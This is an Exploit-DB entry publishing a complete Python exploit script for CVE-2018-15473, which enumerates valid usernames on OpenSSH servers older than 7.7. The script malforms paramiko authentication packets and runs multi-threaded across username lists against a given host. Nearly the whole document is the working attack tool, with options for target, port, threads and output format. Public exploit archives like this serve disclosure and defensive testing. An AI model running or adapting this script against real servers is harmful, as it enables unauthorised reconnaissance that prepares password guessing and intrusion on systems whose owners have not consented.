OpenSSH 2.3 < 7.7 - Username Enumeration

EDB-ID:

45233


Platform:

Linux

Published:

2018-08-21

# Exploit: OpenSSH 7.7 - Username Enumeration
# Author: Justin Gardner
# Date: 2018-08-20
# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
# Affected Versions: OpenSSH version < 7.7
# CVE: CVE-2018-15473

###########################################################################
#                ____                    _____ _____ _    _               #
#               / __ \                  / ____/ ____| |  | |              #
#              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
#              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
#              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
#               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
#                     | |               Username Enumeration              #
#                     |_|                                                 #
#                                                                         #
###########################################################################

#!/usr/bin/env python

import argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import json
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

# create custom exception
class BadUsername(Exception):
    def __init__(self):
	pass

# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
    pass

# create function to call when username was invalid
def call_error(*args, **kwargs):
    raise BadUsername()

# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = add_boolean
    result  = old_parse_service_accept(*args, **kwargs)
    #return old add_boolean function so start_client will work again
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
	sock = socket.socket()
	sock.connect((args.hostname, args.port))
	# instantiate transport
	transport = paramiko.transport.Transport(sock)
	try:
	    transport.start_client()
	except paramiko.ssh_exception.SSHException:
	    # server was likely flooded, retry up to 3 times
	    transport.close()
	    if tried < 4:
	    	tried += 1
	    	return checkUsername(username, tried)
	    else:
	    	print '[-] Failed to negotiate SSH transport'
	try:
		transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
	except BadUsername:
    		return (username, False)
	except paramiko.ssh_exception.AuthenticationException:
    		return (username, True)
	#Successful auth(?)
	raise Exception("There was an error. Is this the correct version of OpenSSH?")

def exportJSON(results):
	data = {"Valid":[], "Invalid":[]}
	for result in results:
		if result[1] and result[0] not in data['Valid']:
			data['Valid'].append(result[0])
		elif not result[1] and result[0] not in data['Invalid']:
			data['Invalid'].append(result[0])
	return json.dumps(data)

def exportCSV(results):
	final = "Username, Valid\n"
	for result in results:
		final += result[0]+", "+str(result[1])+"\n"
	return final

def exportList(results):
	final = ""
	for result in results:
		if result[1]:
			final+=result[0]+" is a valid user!\n"
		else:
			final+=result[0]+" is not a valid user!\n"
	return final

# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error

# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
    sock.close()
except socket.error:
    print '[-] Connecting to host failed. Please check the specified host and port.'
    sys.exit(1)

if args.username: #single username passed in
	result = checkUsername(args.username)
	if result[1]:
		print result[0]+" is a valid user!"
	else:
		print result[0]+" is not a valid user!"
elif args.userList: #username list passed in
	try:
		f = open(args.userList)
	except IOError:
		print "[-] File doesn't exist or is unreadable."
		sys.exit(3)
	usernames = map(str.strip, f.readlines())
	f.close()
	# map usernames to their respective threads
	pool = multiprocessing.Pool(args.threads)
	results = pool.map(checkUsername, usernames)
	try:
		outputFile = open(args.outputFile, "w")
	except IOError:
		print "[-] Cannot write to outputFile."
		sys.exit(5)
	if args.outputFormat=='list':
		outputFile.writelines(exportList(results))
		print "[+] Results successfully written to " + args.outputFile + " in List form."
	elif args.outputFormat=='json':
		outputFile.writelines(exportJSON(results))
		print "[+] Results successfully written to " + args.outputFile + " in JSON form."
	elif args.outputFormat=='csv':
		outputFile.writelines(exportCSV(results))
		print "[+] Results successfully written to " + args.outputFile + " in CSV form."
	else:
		print "".join(results)
	outputFile.close()
else: # no usernames passed in
	print "[-] No usernames provided to check"
	sys.exit(4)